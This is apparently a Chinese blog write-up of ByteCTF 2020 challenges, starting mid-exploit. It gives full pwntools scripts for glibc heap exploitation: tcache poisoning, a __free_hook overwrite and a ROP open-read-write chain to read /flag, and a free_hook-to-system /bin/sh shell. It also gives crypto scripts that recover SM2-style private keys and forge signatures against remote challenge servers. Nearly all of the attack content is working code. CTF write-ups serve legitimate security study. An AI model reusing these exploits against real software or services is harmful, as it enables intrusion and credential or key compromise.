print(hex(libc_addr))
load(1)
shoot(1)

for i in range(11):
    add(0x20,'a')
for i in range(7):
    load(i)
shoot(7)

load(8)
load(9)
load(7)
shoot(2)
for i in range(7):
    add(0x20,'a')

add(0x20,'ddddddddbbbbbbbb')    #8
shoot(1)
for i in range(5):
    load(i)
shoot(5)
load(7)
shoot(1)
load(5)
shoot(1)
#heap_base = leak_address()-0x361
heap_base = u64((p.recvline()[10:16]+2*b'\x00'))-0x461
print(hex(heap_base))
shoot(1)

for i in range(7):
    add(0x20,'a')
add(0x20,'\x90\x90')
add(0x20,'bbbbbbbb')
add(0x20,'bbbbbbbb')

set_context_addr = libc_addr+libc.sym['setcontext']+61

add(0x20,p64(libc_addr+libc.sym['__free_hook']))   #13

load(0)
load(1)
load(2)
shoot(3)

p_rdi_r = 0x0000000000026b72 + libc_addr
p_rsi_r = 0x0000000000027529 + libc_addr
p_rax_r = 0x000000000004a550 + libc_addr
p_rdx_r12_r = 0x000000000011c371 + libc_addr
syscall = 0x000000000002584d + libc_addr
ret = 0x0000000000025679 + libc_addr

flag_str_address = heap_base + 0x5e0
flag_w_address = heap_base + 0x4d0
orw_address = heap_base + 0x6f0
frame_address = heap_base + 0x1e0 + 0x10

payload = b'/flag\x00\x00\x00'+p64(heap_base+0x5d0)+p64(set_context_addr)+b"\x00"*(0xa0-0x28) + p64(orw_address)+p64(ret)

orw = flat([
    p_rdi_r, flag_str_address,
    p_rsi_r, 0,
    libc_addr+libc.sym['open'],
    p_rdi_r, 3,
    p_rsi_r, flag_w_address,
    p_rdx_r12_r, 0x40, 0,
    libc_addr+libc.sym['read'],
    p_rdi_r, 1,
    p_rsi_r, flag_w_address,
    p_rdx_r12_r, 0x40, 0,
    libc_addr+libc.sym['write']
])

add(0x100,payload)    #0
add(0x100,orw)    #1

#0x0000000000154930: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]; 

magic = 0x0000000000154930+libc_addr
add(0x10,p64(magic))   #2

load(0)
shoot(1)

ia()

easyheap

add函数里面可以先输入一个任意值的size,再输入一个合法的size,得到任意地址写null,范围是0xffff。用任意写null,打tcache struct

exp:
#!/usr/bin/python

from pwn import *
import sys
#from LibcSearcher import LibcSearcher
context.log_level = 'debug'
context.arch='amd64'

local=0
binary_name='easyheap'
libc_name='libc-2.31.so'
if local:
    p=process("./"+binary_name)
    libc=ELF("./"+libc_name)
    #p = process(["qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "./"+binary_name])
    #p = process(argv=["./qemu-arm", "-L", "/usr/arm-linux-gnueabihf", "-g", "1234", "./"+binary_name])
else:
    p=remote('123.57.209.176',30774)
    e=ELF("./"+binary_name)
    libc=ELF("./"+libc_name)

def z(a=''):
    if local:
        gdb.attach(p,a)
        if a=='':
            raw_input
    else:
        pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
    if(context.arch=='i386'):
        return u32(p.recv(4))
    else :
        return u64(p.recv(6).ljust(8,b'\x00'))

def cho(num):
    sla(">> ",str(num))
def add(size,content):
    cho(1)
    sla("Size: ",str(size))
    sla("Content: ",content)
def add1(fake_size,size,content):
    cho(1)
    sla("Size: ",str(fake_size+0xfffa-9))
    sla("Size: ",str(size))
    sla("Content: ",content)
def show(idx):
    cho(2)
    sla("Index: ",str(idx))
def delete(idx):
    cho(3)
    sla("Index: ",str(idx))

add(0x50,'aaaa')    #0
add(0x40,'aaaa')    #1
add(0x50,'bbbb')    #2
add(0x50,'cccc')    #3

delete(2)
delete(3)
add1(-0x10*5,0x40,'aaaaaa')    #2
add(0x50,'aa')  #3
add1(-6,0x58,'a'*0x56+'bb')  #4
show(4)
ru('bb')
heap_base = leak_address()-0x10
print(hex(heap_base))

delete(0)
delete(1)
delete(2)
delete(3)

add(0x60,'aaa') #0
add(0x60,'aaa') #1
add(0x70,'aaa') #2
add(0x60,'aaa') #3
add(0x60,'aaa') #5
delete(3)
delete(5)
add1(-0x10*6,0x70,'bbb')    #3
add(0x60,'bbb') #5
delete(3)
delete(2)
add(0x60,p64(heap_base+0x10)*9) #2
add(0x70,'aa')   #3

delete(0)
add(0x80,'aa')  #0
add1(-0x10*(0x70-1),0x10,'aa')  #6

delete(1)
delete(5)
delete(6)
add(0x40,'aa')  #1
add(0x40,p64(heap_base+0x710-0x40))  #5

add(0x50,'\n')  #6
delete(1)
add(0x70,'\x01\x00'+'\x03\x00'*6+'\x07\x00')   #1
z()
delete(0)
add1(-1,0x50,'a'*(0x50-2)+'bb')  #0
show(0)
ru('bb')
libc_base = leak_address()-0x1ebbe0
print(hex(libc_base))

delete(4)

add1(-(0x4a8-0x10),0x10,'dddd')    #4
delete(5)

free_hook = libc_base+libc.sym['__free_hook']
system = libc_base+libc.sym['system']
add(0x40,p64(free_hook))
add(0x40,'/bin/sh')
delete(4)
add(0x40,p64(system))
delete(5)

ia()

Reverse

qiao

打开main函数,发现加了很多花指令,去掉后发现是ollvm,勉强能看,然后主要有个check函数
跟进去后发现十分的冗长,是个类似VM的东西,然后总的看一遍,看出来最后有个奇怪的函数指针,直接在那里下断点,然后每次都会调用不同的函数,调用完之后会返回其中一些结果,比如奇怪的base64接出来是鼓励的话云云,继续跟踪就会发现再一次函数调用之后返回了奇怪的BYTE数据,然后拿去交发现就是flag。。。。。。。。。。。。。

Crypto

Cry1

发现对于每次操作有$num_i r_i = c_i + k_i secret$, 当$k_i = 1$时,有$secret \equiv c_i \mod num_i$,故可以构造CRT求解,只需要通过判断$c_i$是否被$num_i$整除,可排除$k_i = 0$情况,之后只需碰撞出32个$k=1$即可,大概跑50多次就行了,exp如下:

from winpwn import *
from hashlib import sha256
from tqdm import tqdm
from Crypto.Util.number import *
from gmpy2 import *

def GCRT(mi, ai):
    assert (isinstance(mi, list) and isinstance(ai, list))
    curm, cura = mi[0], ai[0]
    for (m, a) in zip(mi[1:], ai[1:]):
        d = int(GCD(curm, m))
        c = a - cura
        assert (c % d == 0)
        K = c // d * inverse(curm // d, m // d)
        cura += curm * K
        curm = curm * m // d
        cura %= curm
    return cura % curm, curm

def proof_of_work(sh):
    sh.recvuntil("SHA256(\"")
    nonce = sh.recv(8)
    sh.recvuntil('with \"00000\"')
    for a in tqdm(range(0x30, 0x7f)):
        for b in range(0x30, 0x7f):
            for c in range(0x30, 0x7f):
                for d in range(0x30, 0x7f):
                    rest = chr(a) + chr(b) + chr(c) + chr(d)
                    m = (nonce + rest).encode("Latin-1")
                    if sha256(m).digest().hex().startswith("00000"):
                        sh.sendline(rest)
                        sh.recvuntil('again...God bless you get it...')
                        return

def io(sh, num):
    sh.sendline('god')
    sh.sendline(str(num))
    tmp = sh.recvuntil('\n')
    if len(tmp) > 100:
        return int(tmp)
    else:
        return int(sh.recvuntil('\n'))

primes = []
tmp = 2**32 - 950
while True:
    tmp = next_prime(tmp)
    assert tmp.bit_length() == 32
    primes.append(int(tmp))
    if len(primes) >= 33:
        break

for i in range(2**10):
    sh = remote("182.92.153.117", 30101)
    proof_of_work(sh)
    length = 33

    c = []
    index = 0
    for i in range(63):
        tmp = io(sh, primes[index])
        if tmp % primes[index] != 0:
            c.append(-1 * tmp)
            index += 1
            if index >= length:
                break
    if index < length:
        continue
    secret = GCRT(primes, c)[0]
    sh.sendline('bless')
    sh.sendline(str(secret))
    tmp = sh.recvuntil('\n')
    if len(tmp) < 5:
        tmp = sh.recvuntil('\n')
    if 'WRONG' in tmp:
        sh.close()
        continue
    print(i)
    sh.interactive()

Cry2

分析可以构造 $B = (H(m)+1)G \Rightarrow encK = H(kcG) = H(A-H(m)G)$, 故做签名的sk为$flag \quad XOR \quad Cprime$,使$Cprime = cipher = flag \quad XOR \quad private_key$, 则对s,e 有$s \equiv r - e private_key \mod (n)$,即有$rG =sG + e*pk$,又$rG.x = e$,故可做verify判断,这里考虑可以诸位爆破,从低位对$Cprime$ 诸位取反,则最终得到的sk为private_key某一位取反后的值,即$sk = private_key \pm 2^i$,通过verify即可判断为加还是减,即可判断private_key那一位为0/1,256次后得到private_key,再与cipher异或即得到flag,exp如下:

from winpwn import *
from Crypto_tools import *
from gmssl import sm3, func
from binascii import a2b_hex, b2a_hex

sm2p256v1_ecc_table = {
    'n': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123',
    'p': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF',
    'g': '32c4ae2c1f1981195f9904466a39c9948fe30bbff2660be1715a4589334c74c7' + 'bc3736a2f4f6779c59bdcee36b692153d0a9877cc62a474002df32e52139f0a0',
    'a': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC',
    'b': '28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93',
}

class APAKE(object):
    def __init__(self, hashed_pwd, pubkey):
        self.ecc_table = sm2p256v1_ecc_table
        self.para_len = len(self.ecc_table['n'])
        self.ecc_a3 = (int(self.ecc_table['a'], base=16) + 3) % int(self.ecc_table['p'], base=16)
        self.hashed_pwd = hashed_pwd
        self.K = None
        self.public_key = pubkey

    def sm3_hash_str(self, msg):
        return sm3.sm3_hash(func.bytes_to_list(msg.encode()))

    def send_client(self, kc_str):
        kc = int(kc_str, 16)
        hpi = int(self.hashed_pwd, 16)
        a = (kc + hpi) % int(self.ecc_table['n'], base=16)
        A = self._kg(a, self.ecc_table['g'])
        return A

    def prove_client(self, password, kc_str, A, B, c_prime):
        kc = int(kc_str, 16)
        hpi = int(self.hashed_pwd, 16)
        n_sub_hpi = (int(self.ecc_table['n'], base=16) - hpi) % int(self.ecc_table['n'], base=16)
        n_sub_hpi_G = self._kg(n_sub_hpi, self.ecc_table['g'])
        print('N_H(M) ->', n_sub_hpi_G)
        B_sub_hpi_G = self._add_point(B, n_sub_hpi_G)
        B_sub_hpi_G = self._convert_jacb_to_nor(B_sub_hpi_G)
        print('B_H(M) ->', B_sub_hpi_G)
        self.K = self._kg(kc, B_sub_hpi_G)
        enc_K = self.sm3_hash_str(self.K)
        print('K ->', enc_K)
        sk = '%064x' % (int(c_prime, 16) ^ int(password, 16) ^ int(enc_K, 16))
        transcript = A + B + c_prime
        signature = self._sign(transcript, sk)
        return signature

    def _sign(self, data, sk):
        k_str = func.random_hex(len(self.ecc_table['n']))
        k = int(k_str, 16) % int(self.ecc_table['n'], base=16)
        R = self._kg(k, self.ecc_table['g'])
        x1 = R[0:self.para_len]
        e_str = self.sm3_hash_str(x1 + data)
        e = int(e_str, 16)
        d = int(sk, 16)
        s = (k - d * e) % int(self.ecc_table['n'], base=16)
        return '%064x%064x' % (s, e)

    def verify(self, data, pk, signature, adjust):
        s = int(signature[0:self.para_len], 16)
        e = int(signature[self.para_len:2 * self.para_len], 16)
        sG = self._kg((s-adjust*e) % int(self.ecc_table['n'], base=16), self.ecc_table['g'])
        eP = self._kg(e, pk)
        R = self._add_point(sG, eP)
        R = self._convert_jacb_to_nor(R)
        x1 = R[0:self.para_len]
        e_str = self.sm3_hash_str(x1 + data)
        return e == int(e_str, 16)

    def _kg(self, k, Point):
        if (k % int(self.ecc_table['n'], base=16)) == 0:
            return '0' * 128
        Point = '%s%s' % (Point, '1')
        mask_str = '8'
        for i in range(self.para_len - 1):
            mask_str += '0'
        mask = int(mask_str, 16)
        Temp = Point
        flag = False
        for n in range(self.para_len * 4):
            if flag:
                Temp = self._double_point(Temp)
            if (k & mask) != 0:
                if flag:
                    Temp = self._add_point(Temp, Point)
                else:
                    flag = True
                    Temp = Point
            k = k << 1
        return self._convert_jacb_to_nor(Temp)

    def _double_point(self, Point):
        l = len(Point)
        len_2 = 2 * self.para_len
        if l < self.para_len * 2:
            return None
        else:
            x1 = int(Point[0:self.para_len], 16)
            y1 = int(Point[self.para_len:len_2], 16)
            if l == len_2:
                z1 = 1
            else:
                z1 = int(Point[len_2:], 16)

            T6 = (z1 * z1) % int(self.ecc_table['p'], base=16)
            T2 = (y1 * y1) % int(self.ecc_table['p'], base=16)
            T3 = (x1 + T6) % int(self.ecc_table['p'], base=16)
            T4 = (x1 - T6) % int(self.ecc_table['p'], base=16)
            T1 = (T3 * T4) % int(self.ecc_table['p'], base=16)
            T3 = (y1 * z1) % int(self.ecc_table['p'], base=16)
            T4 = (T2 * 8) % int(self.ecc_table['p'], base=16)
            T5 = (x1 * T4) % int(self.ecc_table['p'], base=16)
            T1 = (T1 * 3) % int(self.ecc_table['p'], base=16)
            T6 = (T6 * T6) % int(self.ecc_table['p'], base=16)
            T6 = (self.ecc_a3 * T6) % int(self.ecc_table['p'], base=16)
            T1 = (T1 + T6) % int(self.ecc_table['p'], base=16)
            z3 = (T3 + T3) % int(self.ecc_table['p'], base=16)
            T3 = (T1 * T1) % int(self.ecc_table['p'], base=16)
            T2 = (T2 * T4) % int(self.ecc_table['p'], base=16)
            x3 = (T3 - T5) % int(self.ecc_table['p'], base=16)

            if (T5 % 2) == 1:
                T4 = (T5 + ((T5 + int(self.ecc_table['p'], base=16)) >> 1) - T3) % int(self.ecc_table['p'], base=16)
            else:
                T4 = (T5 + (T5 >> 1) - T3) % int(self.ecc_table['p'], base=16)

            T1 = (T1 * T4) % int(self.ecc_table['p'], base=16)
            y3 = (T1 - T2) % int(self.ecc_table['p'], base=16)

            form = '%%0%dx' % self.para_len
            form = form * 3
            return form % (x3, y3, z3)

    def _add_point(self, P1, P2):
        if P1 == '0' * 128:
            return '%s%s' % (P2, '1')
        if P2 == '0' * 128:
            return '%s%s' % (P1, '1')
        len_2 = 2 * self.para_len
        l1 = len(P1)
        l2 = len(P2)
        if (l1 < len_2) or (l2 < len_2):
            return None
        else:
            X1 = int(P1[0:self.para_len], 16)
            Y1 = int(P1[self.para_len:len_2], 16)
            if l1 == len_2:
                Z1 = 1
            else:
                Z1 = int(P1[len_2:], 16)
            x2 = int(P2[0:self.para_len], 16)
            y2 = int(P2[self.para_len:len_2], 16)

            T1 = (Z1 * Z1) % int(self.ecc_table['p'], base=16)
            T2 = (y2 * Z1) % int(self.ecc_table['p'], base=16)
            T3 = (x2 * T1) % int(self.ecc_table['p'], base=16)
            T1 = (T1 * T2) % int(self.ecc_table['p'], base=16)
            T2 = (T3 - X1) % int(self.ecc_table['p'], base=16)
            T3 = (T3 + X1) % int(self.ecc_table['p'], base=16)
            T4 = (T2 * T2) % int(self.ecc_table['p'], base=16)
            T1 = (T1 - Y1) % int(self.ecc_table['p'], base=16)
            Z3 = (Z1 * T2) % int(self.ecc_table['p'], base=16)
            T2 = (T2 * T4) % int(self.ecc_table['p'], base=16)
            T3 = (T3 * T4) % int(self.ecc_table['p'], base=16)
            T5 = (T1 * T1) % int(self.ecc_table['p'], base=16)
            T4 = (X1 * T4) % int(self.ecc_table['p'], base=16)
            X3 = (T5 - T3) % int(self.ecc_table['p'], base=16)
            T2 = (Y1 * T2) % int(self.ecc_table['p'], base=16)
            T3 = (T4 - X3) % int(self.ecc_table['p'], base=16)
            T1 = (T1 * T3) % int(self.ecc_table['p'], base=16)
            Y3 = (T1 - T2) % int(self.ecc_table['p'], base=16)

            form = '%%0%dx' % self.para_len
            form = form * 3
            return form % (X3, Y3, Z3)

    def _convert_jacb_to_nor(self, Point):
        len_2 = 2 * self.para_len
        x = int(Point[0:self.para_len], 16)
        y = int(Point[self.para_len:len_2], 16)
        z = int(Point[len_2:], 16)
        z_inv = pow(z, int(self.ecc_table['p'], base=16) - 2, int(self.ecc_table['p'], base=16))
        z_invSquar = (z_inv * z_inv) % int(self.ecc_table['p'], base=16)
        z_invQube = (z_invSquar * z_inv) % int(self.ecc_table['p'], base=16)
        x_new = (x * z_invSquar) % int(self.ecc_table['p'], base=16)
        y_new = (y * z_invQube) % int(self.ecc_table['p'], base=16)
        z_new = (z * z_inv) % int(self.ecc_table['p'], base=16)
        if z_new == 1:
            form = '%%0%dx' % self.para_len
            form = form * 2
            return form % (x_new, y_new)
        else:
            return None

    def assit(self, A):
        hpi = int(self.hashed_pwd, 16)
        n_sub_hpi = (-1 * hpi) % int(self.ecc_table['n'], base=16)
        rG = self._convert_jacb_to_nor(self._add_point(A, self._kg(n_sub_hpi, self.ecc_table['g'])))
        print('fake rG ->', rG)
        c_prime = self.sm3_hash_str(rG)
        return c_prime

Hash_m = 0x53b9edeb45a1175bad0ba15381a8676dff3611ad90629bf8fe0bae2f48d4a31d
n = 0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123
pk = '1f719bef8a35ec64ac88c0d4e5909201326fb3a84e39f45acc8dd34a8ae83ea595a8e7c877cd817204a1760b7dff10a34d50c3de4e48122aaaaed45a76752cd4'
cipher = 0x1cd3018bd12e647f91a19f02ce460685bd5c13eb2d7253da549baf62aa943da2
cipher_bin = bin(cipher)[2:].rjust(256, '0')
apake = APAKE(hashed_pwd=hex(Hash_m)[2:], pubkey=pk)

flag = ''

for i in range(256):
    p = remote('182.92.153.117', 30102)
    p.recvuntil('A = ')
    A = hex(int(p.recvuntil('\n'), 16))[2:].rjust(128, '0')

    p.recvuntil('PublicKey = ')
    tmp_pk = hex(int(p.recvuntil('\n'), 16))[2:].rjust(128, '0')

    p.recvuntil('Cipher = ')
    tmp_cipher = int(p.recvuntil('\n'), 16)

    p.recvuntil('B = ?')
    B = 'ed5794bb9114317bb0a502b82d3705216a325a2e15810bff91b8df5ad59d0e333e908d589d5ebb0ee2727768e81147d81f640d9d16a149282bd3fd20c5dbc895'
    p.send(B + '\n')
    p.recvuntil('c_prime = ?')
    balance = apake.assit(A)
    check = int(balance, 16) ^ cipher ^ int(('0' * (255 - i) + '1').ljust(256, '0'), 2)
    c_prime = hex(check)[2:]
    p.send(c_prime + '\n')

    p.recvuntil('Signature = ')
    tmp_signature = hex(int(p.recvuntil('\n'), 16))[2:].rjust(128, '0')
    data = A + B + c_prime

    if apake.verify(data, pk, tmp_signature, 2**i):
        flag = flag + '1'
    else:
        flag = flag + '0'
    p.close()

print(long_to_bytes(int(flag[::-1], 2) ^ cipher))

Cry3

在sign中传入'0' (64 3 - 1) + '1',可以使返回值为sks,又有$sk \equiv pks^{-1} sks^{-1} -1 \mod n$, 即得到sk,再任取一个素数T(较小),使$r \equiv (e + (TG).x) \mod n$, 则满足check2,使$s \equiv (T-rsk) (sk+1)^{-1} \mod n$, 则满足check1,则可以通过verify,exp如下:

from Crypto.Util.number import *
from tqdm import *
from winpwn import *
from gmssl import func, sm2

sm2p256v1_ecc_table = {
    'n': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123',
    'p': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFF',
    'g': '32c4ae2c1f1981195f9904466a39c9948fe30bbff2660be1715a4589334c74c7' +
         'bc3736a2f4f6779c59bdcee36b692153d0a9877cc62a474002df32e52139f0a0',
    'a': 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000FFFFFFFFFFFFFFFC',
    'b': '28E9FA9E9D9F5E344D5A9E4BCF6509A7F39789F515AB8F92DDBCBD414D940E93',
}
n = 'FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123'
G = '32c4ae2c1f1981195f9904466a39c9948fe30bbff2660be1715a4589334c74c7' \
    'bc3736a2f4f6779c59bdcee36b692153d0a9877cc62a474002df32e52139f0a0'

def sign(tsm2):
    data = func.random_hex(len(n))
    k1_str = func.random_hex(len(n))
    print(tsm2.send_p1(data, k1_str))
    backdoor = input('backdoor:').strip()
    result = tsm2.output_p1(k1_str, backdoor)
    print(result)

def verify(tsm2):
    message = input('msg:').strip().encode().strip(b'\x00')
    sign = input('sign:').strip().encode().strip(b'\x00')
    check = tsm2.verify(sign, message)
    if check is True and message == b'Hello, Welcome to ByteCTF2020!':
        print(FLAG)
    else:
        print(check)

class TSM2(object):
    def __init__(self, sk):
        ecc_table = sm2p256v1_ecc_table
        self.ecc_table = ecc_table
        self.n = int(ecc_table['n'], 16)
        self.para_len = len(ecc_table['n'])
        self.ecc_a3 = (int(ecc_table['a'], base=16) + 3) % int(ecc_table['p'], base=16)

        self.sk = int(sk, 16)
        self.pk = self._kg(self.sk, ecc_table['g'])

        self.sks = int(func.random_hex(self.para_len), 16)
        self.pks = pow((self.sk + 1) * self.sks, self.n - 2, self.n) % self.n

    def send_p1(self, data, k1_str):
        e = int(data, 16)
        k1 = int(k1_str, 16)
        k1 = k1 % self.n
        R1 = self._kg(k1, self.ecc_table['g'])
        return '%064x%0128s' % (e, R1)

    def output_p1(self, k1_str, r_s2_s3):
        r = int(r_s2_s3[0:self.para_len], 16)
        s2 = int(r_s2_s3[self.para_len:2 * self.para_len], 16)
        s3 = int(r_s2_s3[2 * self.para_len:], 16)

        k1 = int(k1_str, 16)
        d1 = self.sks
        s = (d1 * k1 * s2 + d1 * s3 - r) % self.n
        if s == 0 or s == (self.n - r):
            return None
        return '%064x%064x' % (r, s)

    def verify(self, Sign, data):
        r = int(Sign[0:self.para_len], 16)
        s = int(Sign[self.para_len:2 * self.para_len], 16)
        e = int(data.hex(), 16)
        t = (r + s) % self.n
        if t == 0:
            return 0

        P1 = self._kg(s, self.ecc_table['g'])
        P2 = self._kg(t, self.pk)

        if P1 == P2:
            P1 = '%s%s' % (P1, 1)
            P1 = self._double_point(P1)
        else:
            P1 = '%s%s' % (P1, 1)
            P1 = self._add_point(P1, P2)
            P1 = self._convert_jacb_to_nor(P1)

        x = int(P1[0:self.para_len], 16)
        return r == ((e + x) % self.n)

    def _kg(self, k, Point):
        if (k % self.n) == 0:
            return '0' * 128
        Point = '%s%s' % (Point, '1')
        mask_str = '8'
        for i in range(self.para_len - 1):
            mask_str += '0'
        mask = int(mask_str, 16)
        Temp = Point
        flag = False
        for n in range(self.para_len * 4):
            if flag:
                Temp = self._double_point(Temp)
            if (k & mask) != 0:
                if flag:
                    Temp = self._add_point(Temp, Point)
                else:
                    flag = True
                    Temp = Point
            k = k << 1
        return self._convert_jacb_to_nor(Temp)

    def _double_point(self, Point):
        l = len(Point)
        len_2 = 2 * self.para_len
        if l < self.para_len * 2:
            return None
        else:
            x1 = int(Point[0:self.para_len], 16)
            y1 = int(Point[self.para_len:len_2], 16)
            if l == len_2:
                z1 = 1
            else:
                z1 = int(Point[len_2:], 16)

            T6 = (z1 * z1) % int(self.ecc_table['p'], base=16)
            T2 = (y1 * y1) % int(self.ecc_table['p'], base=16)
            T3 = (x1 + T6) % int(self.ecc_table['p'], base=16)
            T4 = (x1 - T6) % int(self.ecc_table['p'], base=16)
            T1 = (T3 * T4) % int(self.ecc_table['p'], base=16)
            T3 = (y1 * z1) % int(self.ecc_table['p'], base=16)
            T4 = (T2 * 8) % int(self.ecc_table['p'], base=16)
            T5 = (x1 * T4) % int(self.ecc_table['p'], base=16)
            T1 = (T1 * 3) % int(self.ecc_table['p'], base=16)
            T6 = (T6 * T6) % int(self.ecc_table['p'], base=16)
            T6 = (self.ecc_a3 * T6) % int(self.ecc_table['p'], base=16)
            T1 = (T1 + T6) % int(self.ecc_table['p'], base=16)
            z3 = (T3 + T3) % int(self.ecc_table['p'], base=16)
            T3 = (T1 * T1) % int(self.ecc_table['p'], base=16)
            T2 = (T2 * T4) % int(self.ecc_table['p'], base=16)
            x3 = (T3 - T5) % int(self.ecc_table['p'], base=16)

            if (T5 % 2) == 1:
                T4 = (T5 + ((T5 + int(self.ecc_table['p'], base=16)) >> 1) - T3) % int(self.ecc_table['p'], base=16)
            else:
                T4 = (T5 + (T5 >> 1) - T3) % int(self.ecc_table['p'], base=16)

            T1 = (T1 * T4) % int(self.ecc_table['p'], base=16)
            y3 = (T1 - T2) % int(self.ecc_table['p'], base=16)

            form = '%%0%dx' % self.para_len
            form = form * 3
            return form % (x3, y3, z3)

    def _add_point(self, P1, P2):
        if P1 == '0' * 128:
            return '%s%s' % (P2, '1')
        if P2 == '0' * 128:
            return '%s%s' % (P1, '1')
        len_2 = 2 * self.para_len
        l1 = len(P1)
        l2 = len(P2)
        if (l1 < len_2) or (l2 < len_2):
            return None
        else:
            X1 = int(P1[0:self.para_len], 16)
            Y1 = int(P1[self.para_len:len_2], 16)
            if l1 == len_2:
                Z1 = 1
            else:
                Z1 = int(P1[len_2:], 16)
            x2 = int(P2[0:self.para_len], 16)
            y2 = int(P2[self.para_len:len_2], 16)

            T1 = (Z1 * Z1) % int(self.ecc_table['p'], base=16)
            T2 = (y2 * Z1) % int(self.ecc_table['p'], base=16)
            T3 = (x2 * T1) % int(self.ecc_table['p'], base=16)
            T1 = (T1 * T2) % int(self.ecc_table['p'], base=16)
            T2 = (T3 - X1) % int(self.ecc_table['p'], base=16)
            T3 = (T3 + X1) % int(self.ecc_table['p'], base=16)
            T4 = (T2 * T2) % int(self.ecc_table['p'], base=16)
            T1 = (T1 - Y1) % int(self.ecc_table['p'], base=16)
            Z3 = (Z1 * T2) % int(self.ecc_table['p'], base=16)
            T2 = (T2 * T4) % int(self.ecc_table['p'], base=16)
            T3 = (T3 * T4) % int(self.ecc_table['p'], base=16)
            T5 = (T1 * T1) % int(self.ecc_table['p'], base=16)
            T4 = (X1 * T4) % int(self.ecc_table['p'], base=16)
            X3 = (T5 - T3) % int(self.ecc_table['p'], base=16)
            T2 = (Y1 * T2) % int(self.ecc_table['p'], base=16)
            T3 = (T4 - X3) % int(self.ecc_table['p'], base=16)
            T1 = (T1 * T3) % int(self.ecc_table['p'], base=16)
            Y3 = (T1 - T2) % int(self.ecc_table['p'], base=16)

            form = '%%0%dx' % self.para_len
            form = form * 3
            return form % (X3, Y3, Z3)

    def _convert_jacb_to_nor(self, Point):
        len_2 = 2 * self.para_len
        x = int(Point[0:self.para_len], 16)
        y = int(Point[self.para_len:len_2], 16)
        z = int(Point[len_2:], 16)
        z_inv = pow(z, int(self.ecc_table['p'], base=16) - 2, int(self.ecc_table['p'], base=16))
        z_invSquar = (z_inv * z_inv) % int(self.ecc_table['p'], base=16)
        z_invQube = (z_invSquar * z_inv) % int(self.ecc_table['p'], base=16)
        x_new = (x * z_invSquar) % int(self.ecc_table['p'], base=16)
        y_new = (y * z_invQube) % int(self.ecc_table['p'], base=16)
        z_new = (z * z_inv) % int(self.ecc_table['p'], base=16)
        if z_new == 1:
            form = '%%0%dx' % self.para_len
            form = form * 2
            return form % (x_new, y_new)
        else:
            return None

p = remote('182.92.153.117', 30103)
n = 0xFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123
Gx = 0x32c4ae2c1f1981195f9904466a39c9948fe30bbff2660be1715a4589334c74c7
p.recvuntil('pk:')
pk = p.recvuntil('\n')[:-1]
p.recvuntil('pks:')
pks = p.recvuntil('\n')[:-1]
p.recvuntil('op:')
p.sendline('sign')
p.recvuntil('backdoor:')
p.sendline('0' * (64 * 3 - 1) + '1')
p.recvuntil('0' * 64)
sks = p.recv(64)

sk = (inverse(int(pks, 16), n) * inverse(int(sks, 16), n) - 1) % n
tsm2 = TSM2(hex(sk)[2:])
data = b'Hello, Welcome to ByteCTF2020!'
e = int(data.hex(), 16)
T = 0x10001
Tx = int(tsm2._kg(T, tsm2.ecc_table['g'])[:64], 16)
r = (e + Tx) % n
s = ((T - r * sk) * inverse(sk+1, n)) % n

print('Check:', r == (e + Tx) % n, T == (s + (s+r) * sk) % n)

Sign = hex(r)[2:] + hex(s)[2:]

p.recvuntil('op:')
p.sendline('verify')
p.recvuntil('msg:')
p.sendline(data.decode())
p.recvuntil('sign:')
p.sendline(Sign)
p.interactive()
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇